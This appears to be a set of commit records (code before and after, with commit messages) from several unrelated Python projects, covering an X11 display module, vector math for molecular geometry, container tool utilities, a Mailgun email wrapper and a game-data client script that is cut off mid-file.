<commit_before># -*- coding: iso-8859-1 -*-
# -----------------------------------------------------------------------------
# display - Interface to the display code
# -----------------------------------------------------------------------------
# $Id$
#
# -----------------------------------------------------------------------------
# kaa-display - X11/SDL Display module
# Copyright (C) 2005 Dirk Meyer, Jason Tackaberry
#
# First Edition: Dirk Meyer <dmeyer@tzi.de>
# Maintainer:    Dirk Meyer <dmeyer@tzi.de>
#
# Please see the file doc/CREDITS for a complete list of authors.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of MER-
# CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
# Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# -----------------------------------------------------------------------------

# python imports
import weakref
import time

# the display module
import _Display

# kaa notifier for the socket callback
import kaa.notifier
from kaa.notifier import Signal

# default X11 display
_default_x11_display = None

class X11Display(object):
    XEVENT_MOTION_NOTIFY = 6
    XEVENT_EXPOSE = 12
    XEVENT_BUTTON_PRESS = 4
    XEVENT_KEY_PRESS = 2
    XEVENT_EXPOSE = 12
    XEVENT_CONFIGURE_NOTIFY = 22

    XEVENT_WINDOW_EVENTS = (6, 12, 4, 2, 22)

    def __init__(self, dispname = ""):
        self._display = _Display.X11Display(dispname)
        self._windows = {}
        dispatcher = kaa.notifier.SocketDispatcher(self.handle_events)
        dispatcher.register(self.socket)

    def handle_events(self):
        window_events = {}
        for event, args in self._display.handle_events():
            wid = 0
            if event in X11Display.XEVENT_WINDOW_EVENTS:
                wid = args[0]
            if wid:
                if wid not in window_events:
                    window_events[wid] = []
                window_events[wid].append((event, args[1:]))

        for wid, events in window_events.items():
            assert(wid in self._windows)
            window = self._windows[wid]()
            if not window:
                # Window no longer exists.
                del self._windows[wid]
            else:
                window.handle_events(events)

        # call the socket again
        return True

    def __getattr__(self, attr):
        if attr in ("socket,"):
            return getattr(self._display, attr)

        return getattr(super(X11Display, self), attr)

    def sync(self):
        return self._display.sync()

    def get_size(self, screen = -1):
        return self._display.get_size(screen)

def _get_display(display):
    if not display:
        global _default_x11_display
        if not _default_x11_display:
            _default_x11_display = X11Display()
        display = _default_x11_display

    assert(type(display) == X11Display)
    return display

class X11Window(object):
    def __init__(self, display = None, window = None, **kwargs):
        display = _get_display(display)
        if window:
            self._window = window
        else:
            assert("size" in kwargs and "title" in kwargs)
            self._window = _Display.X11Window(display._display,
                                              kwargs["size"], kwargs["title"])

        self._display = display
        display._windows[self._window.ptr] = weakref.ref(self)
        self._cursor_hide_timeout = -1
        self._cursor_hide_timer = kaa.notifier.WeakOneShotTimer(self._cursor_hide_cb)
        self._cursor_visible = True
        self._fs_size_save = None

        self.signals = {
            "key_press_event": Signal(),
            "expose_event": Signal()
        }

    def get_display(self):
        return self._display

    def show(self):
        self._window.show()
        self._display.handle_events()

    def hide(self):
        self._window.hide()
        self._display.handle_events()

    def render_imlib2_image(self, i, dst_pos = (0, 0), src_pos = (0, 0),
                            size = (-1, -1), dither = True, blend = False):
        return _Display.render_imlib2_image(self._window, i._image, dst_pos, \
                                            src_pos, size, dither, blend)

    def handle_events(self, events):
        expose_regions = []
        for event, args in events:
            if event == X11Display.XEVENT_MOTION_NOTIFY:
                # Mouse moved, so show cursor.
                if self._cursor_hide_timeout != 0 and not self._cursor_visible:
                    self.set_cursor_visible(True)

                self._cursor_hide_timer.start(self._cursor_hide_timeout)

            elif event == X11Display.XEVENT_KEY_PRESS:
                self.signals["key_press_event"].emit(args[0])

            elif event == X11Display.XEVENT_EXPOSE:
                # Queue expose regions so we only need to emit one signal.
                expose_regions.append(args)

        if len(expose_regions) > 0:
            self.signals["expose_event"].emit(expose_regions)

    def move(self, pos):
        self.set_geometry(pos, (-1, -1))

    def resize(self, size):
        self.set_geometry((-1, -1), size)

    def set_geometry(self, pos, size):
        self._window.set_geometry(pos, size)
        self._display.handle_events()

    def get_geometry(self):
        return self._window.get_geometry()

    def get_size(self):
        return self.get_geometry()[1]

    def get_pos(self):
        return self.get_geometry()[0]

    def set_cursor_visible(self, visible):
        self._window.set_cursor_visible(visible)
        self._cursor_visible = visible
        self._display.handle_events()

    def _cursor_hide_cb(self):
        self.set_cursor_visible(False)

    def set_cursor_hide_timeout(self, timeout):
        self._cursor_hide_timeout = timeout * 1000
        self._cursor_hide_timer.start(self._cursor_hide_timeout)

    def set_fullscreen(self, fs = True):
        if not fs:
            if self._fs_size_save:
                self._window.set_fullscreen(False)
                self.resize(self._fs_size_save)
                self._fs_size_save = None
                return True

            return False

        if self._fs_size_save:
            return False

        self._fs_size_save = self.get_size()
        display_size = self.get_display().get_size()
        self.resize(display_size)
        self._window.set_fullscreen(True)

    def get_fullscreen(self):
        return self._fs_size_save != None

class EvasX11Window(X11Window):
    def __init__(self, gl = False, display = None, size = (640, 480),
                 title = "Evas", **kwargs):
        import kaa.evas

        if not gl:
            f = _Display.new_evas_software_x11
        else:
            f = _Display.new_evas_gl_x11

        assert(type(size) == tuple)
        display = _get_display(display)
        self._evas = kaa.evas.Evas()
        window = f(self._evas._evas, display._display, size = size,
                   title = title)
        self._evas.output_size_set(size)
        self._evas.viewport_set((0, 0), size)
        # Ensures the display remains alive until after Evas gets deallocated
        # during garbage collection.
        self._evas._dependencies.append(display._display)
        super(EvasX11Window, self).__init__(display, window)

    def handle_events(self, events):
        needs_render = False
        for event, args in events:
            if event == X11Display.XEVENT_EXPOSE:
                self._evas.damage_rectangle_add((args[0], args[1]))
                needs_render = True
            elif event == X11Display.XEVENT_CONFIGURE_NOTIFY:
                if args[1] != self._evas.output_size_get():
                    # This doesn't act right for gl.
                    self._evas.output_size_set(args[1])
                    self._evas.viewport_set((0, 0), args[1])
                    needs_render = True

        super(EvasX11Window, self).handle_events(events)

        if needs_render:
            self._evas.render()
            self._display.handle_events()

    def get_evas(self):
        return self._evas
<commit_msg>bad hack to get all keyboard events<commit_after># -*- coding: iso-8859-1 -*-
# -----------------------------------------------------------------------------
# display - Interface to the display code
# -----------------------------------------------------------------------------
# $Id$
#
# -----------------------------------------------------------------------------
# kaa-display - X11/SDL Display module
# Copyright (C) 2005 Dirk Meyer, Jason Tackaberry
#
# First Edition: Dirk Meyer <dmeyer@tzi.de>
# Maintainer:    Dirk Meyer <dmeyer@tzi.de>
#
# Please see the file doc/CREDITS for a complete list of authors.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of MER-
# CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
# Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# -----------------------------------------------------------------------------

# python imports
import weakref
import time

# the display module
import _Display

# kaa notifier for the socket callback
import kaa.notifier
from kaa.notifier import Signal

# default X11 display
_default_x11_display = None

class X11Display(object):
    XEVENT_MOTION_NOTIFY = 6
    XEVENT_EXPOSE = 12
    XEVENT_BUTTON_PRESS = 4
    XEVENT_KEY_PRESS = 2
    XEVENT_EXPOSE = 12
    XEVENT_CONFIGURE_NOTIFY = 22

    XEVENT_WINDOW_EVENTS = (6, 12, 4, 2, 22)

    def __init__(self, dispname = ""):
        self._display = _Display.X11Display(dispname)
        self._windows = {}
        dispatcher = kaa.notifier.SocketDispatcher(self.handle_events)
        dispatcher.register(self.socket)
        # Also connect to the idle signal. It is a bad hack, but when
        # drawing is done, the socket is read and we will miss keypress
        # events when doing drawings.
        kaa.notifier.signals['idle'].connect(self.handle_events)

    def handle_events(self):
        window_events = {}
        for event, args in self._display.handle_events():
            wid = 0
            if event in X11Display.XEVENT_WINDOW_EVENTS:
                wid = args[0]
            if wid:
                if wid not in window_events:
                    window_events[wid] = []
                window_events[wid].append((event, args[1:]))

        for wid, events in window_events.items():
            assert(wid in self._windows)
            window = self._windows[wid]()
            if not window:
                # Window no longer exists.
                del self._windows[wid]
            else:
                window.handle_events(events)

        # call the socket again
        return True

    def __getattr__(self, attr):
        if attr in ("socket,"):
            return getattr(self._display, attr)

        return getattr(super(X11Display, self), attr)

    def sync(self):
        return self._display.sync()

    def get_size(self, screen = -1):
        return self._display.get_size(screen)

def _get_display(display):
    if not display:
        global _default_x11_display
        if not _default_x11_display:
            _default_x11_display = X11Display()
        display = _default_x11_display

    assert(type(display) == X11Display)
    return display

class X11Window(object):
    def __init__(self, display = None, window = None, **kwargs):
        display = _get_display(display)
        if window:
            self._window = window
        else:
            assert("size" in kwargs and "title" in kwargs)
            self._window = _Display.X11Window(display._display,
                                              kwargs["size"], kwargs["title"])

        self._display = display
        display._windows[self._window.ptr] = weakref.ref(self)
        self._cursor_hide_timeout = -1
        self._cursor_hide_timer = kaa.notifier.WeakOneShotTimer(self._cursor_hide_cb)
        self._cursor_visible = True
        self._fs_size_save = None

        self.signals = {
            "key_press_event": Signal(),
            "expose_event": Signal()
        }

    def get_display(self):
        return self._display

    def show(self):
        self._window.show()
        self._display.handle_events()

    def hide(self):
        self._window.hide()
        self._display.handle_events()

    def render_imlib2_image(self, i, dst_pos = (0, 0), src_pos = (0, 0),
                            size = (-1, -1), dither = True, blend = False):
        return _Display.render_imlib2_image(self._window, i._image, dst_pos, \
                                            src_pos, size, dither, blend)

    def handle_events(self, events):
        expose_regions = []
        for event, args in events:
            if event == X11Display.XEVENT_MOTION_NOTIFY:
                # Mouse moved, so show cursor.
                if self._cursor_hide_timeout != 0 and not self._cursor_visible:
                    self.set_cursor_visible(True)

                self._cursor_hide_timer.start(self._cursor_hide_timeout)

            elif event == X11Display.XEVENT_KEY_PRESS:
                self.signals["key_press_event"].emit(args[0])

            elif event == X11Display.XEVENT_EXPOSE:
                # Queue expose regions so we only need to emit one signal.
                expose_regions.append(args)

        if len(expose_regions) > 0:
            self.signals["expose_event"].emit(expose_regions)

    def move(self, pos):
        self.set_geometry(pos, (-1, -1))

    def resize(self, size):
        self.set_geometry((-1, -1), size)

    def set_geometry(self, pos, size):
        self._window.set_geometry(pos, size)
        self._display.handle_events()

    def get_geometry(self):
        return self._window.get_geometry()

    def get_size(self):
        return self.get_geometry()[1]

    def get_pos(self):
        return self.get_geometry()[0]

    def set_cursor_visible(self, visible):
        self._window.set_cursor_visible(visible)
        self._cursor_visible = visible
        self._display.handle_events()

    def _cursor_hide_cb(self):
        self.set_cursor_visible(False)

    def set_cursor_hide_timeout(self, timeout):
        self._cursor_hide_timeout = timeout * 1000
        self._cursor_hide_timer.start(self._cursor_hide_timeout)

    def set_fullscreen(self, fs = True):
        if not fs:
            if self._fs_size_save:
                self._window.set_fullscreen(False)
                self.resize(self._fs_size_save)
                self._fs_size_save = None
                return True

            return False

        if self._fs_size_save:
            return False

        self._fs_size_save = self.get_size()
        display_size = self.get_display().get_size()
        self.resize(display_size)
        self._window.set_fullscreen(True)

    def get_fullscreen(self):
        return self._fs_size_save != None

class EvasX11Window(X11Window):
    def __init__(self, gl = False, display = None, size = (640, 480),
                 title = "Evas", **kwargs):
        import kaa.evas

        if not gl:
            f = _Display.new_evas_software_x11
        else:
            f = _Display.new_evas_gl_x11

        assert(type(size) == tuple)
        display = _get_display(display)
        self._evas = kaa.evas.Evas()
        window = f(self._evas._evas, display._display, size = size,
                   title = title)
        self._evas.output_size_set(size)
        self._evas.viewport_set((0, 0), size)
        # Ensures the display remains alive until after Evas gets deallocated
        # during garbage collection.
        self._evas._dependencies.append(display._display)
        super(EvasX11Window, self).__init__(display, window)

    def handle_events(self, events):
        needs_render = False
        for event, args in events:
            if event == X11Display.XEVENT_EXPOSE:
                self._evas.damage_rectangle_add((args[0], args[1]))
                needs_render = True
            elif event == X11Display.XEVENT_CONFIGURE_NOTIFY:
                if args[1] != self._evas.output_size_get():
                    # This doesn't act right for gl.
                    self._evas.output_size_set(args[1])
                    self._evas.viewport_set((0, 0), args[1])
                    needs_render = True

        super(EvasX11Window, self).handle_events(events)

        if needs_render:
            self._evas.render()
            self._display.handle_events()

    def get_evas(self):
        return self._evas
<|endoftext|>


<commit_before>

def normalToPlane(a, b, c):
    """
    Calculate the vector normal to a plane containing 3 atoms
    :param a: Atom
    :param b: Atom
    :param c: Atom
    :return: Vector normal to plane containing 3 atoms
    """
    pass

def angleBetweenVectors(a, b):
    """
    :return: Angle between two vectors
    """
    pass

<commit_msg>Added two vector/plane functions. Untested.<commit_after>
import numpy as np
from math import sqrt
from math import acos
from math import pi

def normalToPlane(a, b, c):
    """
    Calculate the vector normal to a plane containing 3 atoms, by taking the cross product of the two vectors
    forming the "triangle". e.g. for atoms a, b & c, using the cross product: (a->b)x(b->c).
    :param a: Atom
    :param b: Atom
    :param c: Atom
    :return: Vector normal to plane containing 3 atoms
    """
    # for now assuming that coordinate objects are passed to this function - can be easily changed if needed
    x1 = b[0] - a[0]
    y1 = b[1] - a[1]
    z1 = b[2] - a[2]
    bond1 = [x1, y1, z1]

    x2 = c[0] - b[0]
    y2 = c[1] - b[1]
    z2 = c[2] - b[2]
    bond2 = [x2, y2, z2]

    norm = np.cross(bond1, bond2)
    norm_mag = sqrt((norm[0]*norm[0])+(norm[1]*norm[1])+(norm[2]*norm[2]))
    norm = [(norm[0]/norm_mag), (norm[1]/norm_mag), (norm[2]/norm_mag)]

    return norm

def angleBetweenVectors(a, b):
    """
    Calculate the angle between two vectors using the following formula:

                                           a . b
                                cos(x) = ---------
                                          |a| |b|

    For now, this function only returns an unsigned angle...
    :param a: Vector
    :param b: Vector
    :return: Angle between the two vectors (in degrees)
    """
    a_mag = sqrt((a[0]*a[0])+(a[1]*a[1])+(a[2]*a[2]))
    b_mag = sqrt((b[0]*b[0])+(b[1]*b[1])+(b[2]*b[2]))

    dotProd = (a[0]*b[0]) + (a[1]*b[1]) + (a[2]*b[2])

    cosX = dotProd / (a_mag*b_mag)
    X_rad = acos(cosX)
    X_deg = X_rad*180 / pi

    return X_deg
<|endoftext|>


<commit_before># import where needed to make startup faster
import os
import sys
from contextlib import contextmanager
from os.path import join

ERROR_COLOR = 1
INFO_COLOR = 4

def hashstr(stri):
    import hashlib
    return hashlib.sha1(stri).hexdigest()

@contextmanager
def catch_and_die(exceptions,
                  debug=None,
                  debug_class=False,
                  ignore=None,
                  silent=False,
                  exit=1):
    try:
        yield
    except tuple(exceptions) as exc:
        if ignore and isinstance(exc, ignore):
            raise
        if silent:
            sys.exit(exit)
        msg = str(exc)
        if msg.startswith('<') and msg.endswith('>'):
            msg = msg[1:-1]
        if debug_class:
            debug = exc.__class__.__name__
        if debug:
            msg = '{debug}: {message}'.format(debug=debug, message=msg)
        die(msg, exit=exit)

def get_plash_data():
    if os.getuid():
        default = '~/.plashdata'
    else:
        default = '/var/lib/plash'
    dir = os.environ.get('PLASH_DATA', default)
    return os.path.expanduser(dir)

def color(stri, color, isatty_fd_check=2):
    if os.environ.get('TERM') != 'dumb' and os.isatty(isatty_fd_check):
        return "\033[38;05;{}m".format(int(color)) + stri + "\033[0;0m"
    return stri

def die(msg, exit=1):
    prog = os.path.basename(sys.argv[0])
    if prog.startswith('plash-'):
        prog = prog[6:]
    elif prog == 'plash':
        prog = 'main'

    print(
        '{} {}: {}'.format(color('plash:', ERROR_COLOR), prog, msg),
        file=sys.stderr)
    sys.exit(exit)

def info(msg):
    print(color(msg, INFO_COLOR), file=sys.stderr)

def die_with_usage(*, hint=False):
    prog = os.path.basename(sys.argv[0])
    printed_usage = False
    with open(sys.argv[0]) as f:
        for line in f.readlines():
            if line.startswith('# usage:'):
                usage_line = line[2:]
                print('{}: {}'.format(prog, usage_line), end='')
                printed_usage = True
    assert printed_usage, 'could not find usage comment'
    if hint:
        print('{}: usage hint: {}'.format(prog, hint), file=sys.stderr)
    sys.exit(2)

def handle_help_flag():
    if len(sys.argv) >= 2 and sys.argv[1] in ('--help', '-h'):
        with open(sys.argv[0]) as f:
            do_print = False
            for line in f.readlines():
                if line.startswith('# usage:'):
                    do_print = True
                elif line and not line.startswith('#'):
                    break
                if do_print:
                    print(line[2:], end='')
        sys.exit(0)

def filter_positionals(args):
    positional = []
    filtered_args = []
    found_first_opt = False
    while args:
        arg = args.pop(0)
        if not arg.startswith('-') and not found_first_opt:
            positional.append(arg)
        elif arg == '--':
            positional += args
            args = None
        else:
            filtered_args.append(arg)
            found_first_opt = True
    return positional, filtered_args

def handle_build_args():
    import subprocess
    if len(sys.argv) >= 2 and sys.argv[1].startswith('-'):
        cmd, args = filter_positionals(sys.argv[1:])
        with catch_and_die([subprocess.CalledProcessError], silent=True):
            out = subprocess.check_output(['plash-build'] + args)
        container_id = out[:-1]
        os.execlp(sys.argv[0], sys.argv[0], container_id, *cmd)

def nodepath_or_die(container, allow_root_container=False):
    import subprocess

    extra = [] if not allow_root_container else ['--allow-root-container']
    with catch_and_die([subprocess.CalledProcessError], silent=True):
        return subprocess.check_output(
            ['plash-nodepath', str(container)] + extra,
            ).decode().strip('\n')

def get_default_shell(passwd_file):
    with open(passwd_file) as f:
        #  the first entry is the root entry
        #  https://security.stackexchange.com/questions/96241/why-require-root-to-be-the-first-entry-in-etc-passwd
        root_entry = f.readline().rstrip('\n')
        default_root_shell = root_entry.split(":")[6]
        return default_root_shell

def plash_map(*args):
    from subprocess import check_output
    'thin wrapper around plash map'
    out = check_output(['plash-map'] + list(args))
    if out == '':
        return None
    return out.decode().strip('\n')

def assert_initialized():
    last_inited = join(get_plash_data(), 'index', '0')
    if not os.path.exists(last_inited):
        die('run plash init first')

def run_write_read(cmd, input):
    import subprocess
    p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    p.stdin.write(input)
    p.stdin.close()
    exit = p.wait()
    if exit:
        raise subprocess.CalledProcessError(exit, cmd)
    return p.stdout.read()

def mkdtemp():
    import tempfile
    return tempfile.mkdtemp(
        dir=os.path.join(get_plash_data(), 'tmp'),
        prefix='plashtmp_{}_{}_'.format(os.getsid(0), os.getpid()))
<commit_msg>Errmsg wording<commit_after># import where needed to make startup faster
import os
import sys
from contextlib import contextmanager
from os.path import join

ERROR_COLOR = 1
INFO_COLOR = 4

def hashstr(stri):
    import hashlib
    return hashlib.sha1(stri).hexdigest()

@contextmanager
def catch_and_die(exceptions,
                  debug=None,
                  debug_class=False,
                  ignore=None,
                  silent=False,
                  exit=1):
    try:
        yield
    except tuple(exceptions) as exc:
        if ignore and isinstance(exc, ignore):
            raise
        if silent:
            sys.exit(exit)
        msg = str(exc)
        if msg.startswith('<') and msg.endswith('>'):
            msg = msg[1:-1]
        if debug_class:
            debug = exc.__class__.__name__
        if debug:
            msg = '{debug}: {message}'.format(debug=debug, message=msg)
        die(msg, exit=exit)

def get_plash_data():
    if os.getuid():
        default = '~/.plashdata'
    else:
        default = '/var/lib/plash'
    dir = os.environ.get('PLASH_DATA', default)
    return os.path.expanduser(dir)

def color(stri, color, isatty_fd_check=2):
    if os.environ.get('TERM') != 'dumb' and os.isatty(isatty_fd_check):
        return "\033[38;05;{}m".format(int(color)) + stri + "\033[0;0m"
    return stri

def die(msg, exit=1):
    prog = os.path.basename(sys.argv[0])
    if prog.startswith('plash-'):
        prog = prog[6:]
    elif prog == 'plash':
        prog = 'main'

    print(
        '{} {}: {}'.format(color('plash:', ERROR_COLOR), prog, msg),
        file=sys.stderr)
    sys.exit(exit)

def info(msg):
    print(color(msg, INFO_COLOR), file=sys.stderr)

def die_with_usage(*, hint=False):
    prog = os.path.basename(sys.argv[0])
    printed_usage = False
    with open(sys.argv[0]) as f:
        for line in f.readlines():
            if line.startswith('# usage:'):
                usage_line = line[2:]
                print('{}: {}'.format(prog, usage_line), end='')
                printed_usage = True
    assert printed_usage, 'could not find usage comment'
    if hint:
        print('{}: usage hint: {}'.format(prog, hint), file=sys.stderr)
    sys.exit(2)

def handle_help_flag():
    if len(sys.argv) >= 2 and sys.argv[1] in ('--help', '-h'):
        with open(sys.argv[0]) as f:
            do_print = False
            for line in f.readlines():
                if line.startswith('# usage:'):
                    do_print = True
                elif line and not line.startswith('#'):
                    break
                if do_print:
                    print(line[2:], end='')
        sys.exit(0)

def filter_positionals(args):
    positional = []
    filtered_args = []
    found_first_opt = False
    while args:
        arg = args.pop(0)
        if not arg.startswith('-') and not found_first_opt:
            positional.append(arg)
        elif arg == '--':
            positional += args
            args = None
        else:
            filtered_args.append(arg)
            found_first_opt = True
    return positional, filtered_args

def handle_build_args():
    import subprocess
    if len(sys.argv) >= 2 and sys.argv[1].startswith('-'):
        cmd, args = filter_positionals(sys.argv[1:])
        with catch_and_die([subprocess.CalledProcessError], silent=True):
            out = subprocess.check_output(['plash-build'] + args)
        container_id = out[:-1]
        os.execlp(sys.argv[0], sys.argv[0], container_id, *cmd)

def nodepath_or_die(container, allow_root_container=False):
    import subprocess

    extra = [] if not allow_root_container else ['--allow-root-container']
    with catch_and_die([subprocess.CalledProcessError], silent=True):
        return subprocess.check_output(
            ['plash-nodepath', str(container)] + extra,
            ).decode().strip('\n')

def get_default_shell(passwd_file):
    with open(passwd_file) as f:
        #  the first entry is the root entry
        #  https://security.stackexchange.com/questions/96241/why-require-root-to-be-the-first-entry-in-etc-passwd
        root_entry = f.readline().rstrip('\n')
        default_root_shell = root_entry.split(":")[6]
        return default_root_shell

def plash_map(*args):
    from subprocess import check_output
    'thin wrapper around plash map'
    out = check_output(['plash-map'] + list(args))
    if out == '':
        return None
    return out.decode().strip('\n')

def assert_initialized():
    last_inited = join(get_plash_data(), 'index', '0')
    if not os.path.exists(last_inited):
        die('first run `plash init`')

def run_write_read(cmd, input):
    import subprocess
    p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    p.stdin.write(input)
    p.stdin.close()
    exit = p.wait()
    if exit:
        raise subprocess.CalledProcessError(exit, cmd)
    return p.stdout.read()

def mkdtemp():
    import tempfile
    return tempfile.mkdtemp(
        dir=os.path.join(get_plash_data(), 'tmp'),
        prefix='plashtmp_{}_{}_'.format(os.getsid(0), os.getpid()))
<|endoftext|>


<commit_before>import requests
from requests.auth import HTTPBasicAuth
from django.conf import settings
import django.utils.simplejson as json

def call_mailgun(method, api_sub_url, data):
    api_url = '/'.join([settings.MAILGUN_API_URL.strip('/'), api_sub_url.strip('/')])
    auth = HTTPBasicAuth('api', settings.MAILGUN_API_KEY)
    return requests.request(method, api_url, auth=auth, data=data)

def send_email(to_email, from_email, subject, text_body, html_body=None, tags=None):
    return send_mass_email(
        [to_email],
        from_email,
        subject,
        text_body,
        html_body,
        tags
    )

def send_mass_email(to_emails, from_email, subject, text_body, html_body=None, tags=None, campaign_id=None):
    """ send email to multiple users, but each being to only one in the to field """
    post_data = [
        ('from', from_email),
        ('subject', subject),
        ('text', text_body),
        ('o:tracking', 'yes'),
        ('o:tracking-clicks', 'yes'),
        ('o:tracking-opens', 'yes'),
    ]

    post_data += [ ('to', to_email) for to_email in to_emails ]
    post_data += [ ('recipient-variables', [json.dumps({to_email:{}}) for to_email in to_emails] ) ]

    if html_body:
        post_data += [('html', html_body),]

    if tags:
        post_data += [ ("o:tag", tag) for tag in tags]

    if campaign_id:
        post_data += [('o:campaign', campaign_id),]

    sub_url = '/'.join([settings.MAILGUN_API_DOMAIN, 'messages'])
    resp = call_mailgun('POST', sub_url, post_data)
    if resp.status_code != 200:
        raise Exception(resp.text)

def create_campaign(campaign_id, campaign_name):
    post_data = {
        'name': campaign_name,
        'id': campaign_id,
    }

    sub_url = '/'.join([settings.MAILGUN_API_DOMAIN, 'campaigns'])
    resp = call_mailgun('POST', sub_url, post_data)
    if resp.status_code != 200:
        raise Exception(resp.text)

def create_list(address, name=None, description=None, access_level=None):
    data = {
        'address': address,
    }
    if name:
        data['name'] = name
    if description:
        data['description'] = description
    if access_level:
        if access_level not in ['readonly', 'members', 'everyone']:
            raise Exception('Invalid access level')
        data['access_level'] = access_level

    resp = call_mailgun('POST', 'lists', data)
    if resp.status_code != 200:
        raise Exception(resp.text)

def add_list_member(list_address, member_address):
    data = {
        'address': member_address,
        'upsert': 'yes',
    }
    resp = call_mailgun('POST', 'lists/{address}/members'.format(address=list_address), data)
    if resp.status_code != 200:
        raise Exception(resp.text)

def remove_list_member(list_address, member_address):
    resp = call_mailgun(
        'DELETE',
        'lists/{address}/members/{member_address}'.format(address=list_address, member_address=member_address),
        {}
    )
    if resp.status_code != 200:
        raise Exception(resp.text)

def get_list(list_address):
    resp = call_mailgun(
        'GET',
        'lists/{address}'.format(address=list_address),
        {}
    )
    if resp.status_code == 404:
        return None
    if resp.status_code != 200:
        raise Exception(resp.text)
    return resp.json()

def get_list_members(list_address):
    resp = call_mailgun(
        'GET',
        'lists/{address}/members'.format(address=list_address),
        {}
    )
    if resp.status_code != 200:
        raise Exception(resp.text)
    return resp.json()['items']
<commit_msg>Fix bug for mailgun send_email function<commit_after>import requests
from requests.auth import HTTPBasicAuth
from django.conf import settings
import django.utils.simplejson as json

def call_mailgun(method, api_sub_url, data):
    api_url = '/'.join([settings.MAILGUN_API_URL.strip('/'), api_sub_url.strip('/')])
    auth = HTTPBasicAuth('api', settings.MAILGUN_API_KEY)
    return requests.request(method, api_url, auth=auth, data=data)

def send_email(to_email, from_email, subject, text_body, html_body=None, tags=None, campaign_id=None):
    return send_mass_email(
        [to_email],
        from_email,
        subject,
        text_body,
        html_body,
        tags,
        campaign_id
    )

def send_mass_email(to_emails, from_email, subject, text_body, html_body=None, tags=None, campaign_id=None):
    """ send email to multiple users, but each being to only one in the to field """
    post_data = [
        ('from', from_email),
        ('subject', subject),
        ('text', text_body),
        ('o:tracking', 'yes'),
        ('o:tracking-clicks', 'yes'),
        ('o:tracking-opens', 'yes'),
    ]

    post_data += [ ('to', to_email) for to_email in to_emails ]
    post_data += [ ('recipient-variables', [json.dumps({to_email:{}}) for to_email in to_emails] ) ]

    if html_body:
        post_data += [('html', html_body),]

    if tags:
        post_data += [ ("o:tag", tag) for tag in tags]

    if campaign_id:
        post_data += [('o:campaign', campaign_id),]

    sub_url = '/'.join([settings.MAILGUN_API_DOMAIN, 'messages'])
    resp = call_mailgun('POST', sub_url, post_data)
    if resp.status_code != 200:
        raise Exception(resp.text)

def create_campaign(campaign_id, campaign_name):
    post_data = {
        'name': campaign_name,
        'id': campaign_id,
    }

    sub_url = '/'.join([settings.MAILGUN_API_DOMAIN, 'campaigns'])
    resp = call_mailgun('POST', sub_url, post_data)
    if resp.status_code != 200:
        raise Exception(resp.text)

def create_list(address, name=None, description=None, access_level=None):
    data = {
        'address': address,
    }
    if name:
        data['name'] = name
    if description:
        data['description'] = description
    if access_level:
        if access_level not in ['readonly', 'members', 'everyone']:
            raise Exception('Invalid access level')
        data['access_level'] = access_level

    resp = call_mailgun('POST', 'lists', data)
    if resp.status_code != 200:
        raise Exception(resp.text)

def add_list_member(list_address, member_address):
    data = {
        'address': member_address,
        'upsert': 'yes',
    }
    resp = call_mailgun('POST', 'lists/{address}/members'.format(address=list_address), data)
    if resp.status_code != 200:
        raise Exception(resp.text)

def remove_list_member(list_address, member_address):
    resp = call_mailgun(
        'DELETE',
        'lists/{address}/members/{member_address}'.format(address=list_address, member_address=member_address),
        {}
    )
    if resp.status_code != 200:
        raise Exception(resp.text)

def get_list(list_address):
    resp = call_mailgun(
        'GET',
        'lists/{address}'.format(address=list_address),
        {}
    )
    if resp.status_code == 404:
        return None
    if resp.status_code != 200:
        raise Exception(resp.text)
    return resp.json()

def get_list_members(list_address):
    resp = call_mailgun(
        'GET',
        'lists/{address}/members'.format(address=list_address),
        {}
    )
    if resp.status_code != 200:
        raise Exception(resp.text)
    return resp.json()['items']
<|endoftext|>


<commit_before>import sys
import edce.config

if sys.version_info.major < 3:
    print("You need to use Python 3.x, e.g. python3 <filename>")
    exit()

import edce.util
import json
from collections import OrderedDict

def alignStr(title, word):
    return "{:<40s}{:<40s}".format(title, word)

def alignNum(title, number):
    return "{:<40s}{:<40d}".format(title, number)

player_json = ''
try:
    with open(edce.config.getString('paths', 'last_file'), "r") as f:
            player_json = f.readline()
            f.close()
except:
    "Please run edce_client.py at least once, so that it may create a last.json file."
    exit()

data = edce.util.edict(player_json)

station = ""
if data.commander.docked:
    station = "/" + data.lastStarport.name

print(alignStr("CMDR:",data.commander.name))
print(alignStr("System:",data.lastSystem.name + station))
print(alignNum("Credits:",data.commander.credits))

if "ship" in data:
    print(alignStr("Ship:",data.ship.name))

if "ships" in data:
    print("\n========== All ships: ==========")

    all_ships = {}
    for ship, shipEntry in data.ships.items():
        starsystem = shipEntry.starsystem
        starsystem_station = shipEntry.station
        if starsystem and starsystem_station:
            station = starsystem.name + "/" + starsystem_station.name
            if not station in all_ships:
                all_ships[station]=[]

            all_ships[station].append(shipEntry.name)

    for s in OrderedDict(sorted(all_ships.items())):
        print(alignStr(s,", ".join(all_ships[s])))

if "stats" in data and "explore" in data.stats and "lastVisitedStarSystems" in data.stats.explore:
    print("\n========== Last Visited: ==========")
    for s in data.stats.explore.lastVisitedStarSystems:
        print(s)
<commit_msg>cAPI 2.4 modifications with breaking changes, see CHANGELOG<commit_after>import sys
import edce.config

if sys.version_info.major < 3:
    print("You need to use Python 3.x, e.g. python3 <filename>")
    exit()

import edce.util
import json
from collections import OrderedDict

def alignStr(title, word):
    return "{:<40s}{:<40s}".format(title, word)

def alignNum(title, number):
    return "{:<40s}{:<40d}".format(title, number)

player_json = ''
try:
    with open(edce.config.getString('paths', 'last_file'), "r") as f:
